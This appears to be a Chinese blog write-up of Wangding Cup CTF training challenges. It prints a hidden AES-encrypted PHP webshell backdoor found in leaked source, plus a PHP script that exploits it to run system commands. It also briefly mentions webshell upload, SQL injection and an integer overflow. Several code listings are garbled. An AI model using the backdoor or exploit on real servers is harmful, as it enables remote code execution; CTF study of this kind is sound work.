前言: 	参加了一下网鼎杯的赛前训练,题目还是很简单的,我web狗也能做其他方向的题,写个博客记录一下
Web: Web签到 查看群公告,flag在最下面
Web801 一道简单文件上传,传个一句话用蚁剑连接即可,不赘述。
Web802 
点击下方的公告,有id,尝试后是数字型sql联合注入,得到账号密码的MD5值解出来登录,不赘述。
Web803 
扫目录存在源码泄露,wwwroot.zip解压可以得到一堆php文件,尝试访问这些php发现都是500
审计是不可能审计的,写个python脚本看看是不是都不能访问
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import  osfrom  urllib import  requestdef  get_files (directory ):"""Get a list of all files in the given directory and subdirectories.""" return  [os.path.join(root, file) for  root, _, files in  os.walk(directory) for  file in  files]def  build_url (file_path ):"""Build the URL from the given file path.""" "D:\\下载\\wwwroot\\" , "/" )return  f"http://xxx{name} " def  fetch_url (url ):"""Fetch the content from the URL and return it if the response is valid.""" try :with  request.urlopen(url) as  response:if  response.getcode() == 200 :return  text  except  Exception as  e:print ("erro!" )return  None def  main ():"D:\\下载\\wwwroot" for  file in  files:if  content:  print (url)print (content)if  __name__ == "__main__" :
最后发现只有describedssTest.php和index.html可以访问,找到入口了
打开phpstorm审计一下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php  error_reporting (0 );header ('Content-type: text/html; charset=utf-8' );$p8 ='3b7430adaed18facca7b799229138b7b' ;$a8 ='TURNeU9UWTBOelUwTmprd05UUTVOR0ZLV1ZwdU9XSkZORmh2WnpoS1RrNW1jRTFrTkdjOVBRPT0=' ;$d8 ='TURNeU9UWTBOelUwTmprd05UUTVOR012V1c5cVJXNXBkWEJyZDFsemJsQlpNMmRITjNaYWVFVnFPVWRqVnpoWlUyNXZNbmhDU21jd2RHTkxRazF2U1hvMU9FNUNWM2RNUjFWYVJuVnBiV3czUlVwUldFMTFhakp2VjJKS1NIVlJUMU5UYjNoSWExUk5hMlZXY21OdlRuaHVRMjlsVkV4aEwzbGpQUT09' ;$v8 ='0329647546905494' ;function  e ($D ,$K $cipher ='aes-128-cbc' ;$encrypted =openssl_encrypt ($D ,$cipher ,$K ,0 ,$GLOBALS ['v8' ]);$result =base64_encode ($GLOBALS ['v8' ].$encrypted );$result =base64_encode ($result );return  $result ;function  d ($D , $K $cipher ='aes-128-cbc' ;$decodedData =base64_decode (base64_decode ($D ));$encryptedData =substr ($decodedData , openssl_cipher_iv_length ($cipher ));$decrypted =openssl_decrypt ($encryptedData ,$cipher ,$K ,0 ,$GLOBALS ['v8' ]);return  $decrypted ;$a8 =trim (d ($a8 ,$p8 ));ob_start ();$a8 (trim (d ($d8 ,$p8 )));$O =ob_get_contents ();ob_end_clean ();echo  e ($O ,$p8 );?> 
aes加密和解密,看不出什么猫腻,有两个密文a8和d8,使用调试大法
可以看到a8的值为assert
d8的值为@eval("if(md5(@\$_GET['id'])===\$p8){@eval(trim(d(\$_POST['d'],\$p8)));}")
即
1 2 3 eval (if (md5 ($_GET ['id' ])===$p8 ){eval (d ($_POST ['d' ],$p8 ));
结合$a8(trim(d($d8,$p8)));
此处存在后门(没想到还有这种后门)
可以看到会执行
assert(@eval("if(md5(@\$_GET['id'])===\$p8){@eval(trim(d(\$_POST['d'],\$p8)));}"))
要满足条件get传参id的md5值等于p8,强比较必须要相等了
然后post传入参数d,因为外面还套了一层d解密函数,所以命令d一定要为aes加密后的值
p8破解出来为20241026的两层MD5值
写一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php $p8 ='3b7430adaed18facca7b799229138b7b' ;$v8 ='0329647546905494' ;$url  = "http://xxx/describedssTest.php?id=04c50eb4bc04c76311d03550ee2c1b71" ;function  d ($D , $K $cipher ='aes-128-cbc' ;$decodedData =base64_decode (base64_decode ($D ));$encryptedData =substr ($decodedData , openssl_cipher_iv_length ($cipher ));$decrypted =openssl_decrypt ($encryptedData ,$cipher ,$K ,0 ,$GLOBALS ['v8' ]);return  $decrypted ;function  e ($K $cipher ='aes-128-cbc' ;$D ="system('cat /flag.txt');" ;$encrypted =openssl_encrypt ($D ,$cipher ,$K ,0 ,$GLOBALS ['v8' ]);$result =base64_encode ($GLOBALS ['v8' ].$encrypted );$result =base64_encode ($result );return  $result ;$d =e ($p8 );$params  = array ('d'  => $d $params  = http_build_query ($params );$options  = array ('http'  => array ('method'  => 'POST' ,'content'  => $params ,'timeout'  => 60  $context  = stream_context_create ($options );$result  = file_get_contents ($url , false , $context );echo  d ($result ,$p8 );
本地复现也是可以成功的
直接接出flag
Pwn 一道整数溢出题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include  <stdio.h>  #include  <stdlib.h>  int  main ()  {char  flag[32 ];"flag" , "r" );if  (f == NULL ) {puts ("flag not found" );return  1 ;32 , f);stdout , 0 , 2 , 0 );stdin , 0 , 2 , 0 );printf ("Input: " );char  buffer[16 ];16 , stdin );int  val = atoi(buffer);if  (val < 0 ) {puts ("Error: no negative numbers allowed!" );return  1 ;int  doubled = 2  * val;printf ("Doubled: %i\n" , doubled);if  (doubled == -100 ) {puts (flag);
flag为32位,我们输入的int类型的val不能小于0,最后int类型的doubled要为-100
doubled为2倍val,构造整数溢出
64位的机器中int类型的范围为-2147483648~2147483647
输入一个不超过范围的整数,但是乘以2为-100可以尝试出来
最后val=2147483598
Reverse 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import  java.util.Scanner;class  ReverseEngineeringChallenge  {public  static  void  main (String args[])  {Scanner  scanner  =  new  Scanner (System.in);"Enter password: " );String  userInput  =  scanner.next();if  (checkPassword(userInput)) {"Access granted." );else  {"Access denied!" );public  static  boolean  checkPassword (String password)  {return  password.length() == 20  &&0 ) == 'f'  &&11 ) == '_'  &&1 ) == 'l'  &&6 ) == '0'  &&3 ) == 'g'  &&8 ) == '4'  &&4 ) == '{'  &&9 ) == '_'  &&7 ) == '2'  &&10 ) == '_'  &&2 ) == 'a'  &&12 ) == '_'  &&5 ) == '2'  &&17 ) == 'B'  &&14 ) == '_'  &&18 ) == '!'  &&16 ) == '_'  &&19 ) == '}'  &&15 ) == 'D'  &&13 ) == 'W' ;
这题感觉没什么意思,观察可以发现按顺序就可以得到flag
Crypto crypto001 附件丢了,不过解法应该是偏移为10的凯撒
crypto002 010editor打开翻到最后有base64密文d2RmbGFne2RlNjA1YTM3NDZmZGM5MTl9
解密得到flag
Misc 日志分析,搜索{即可找到flag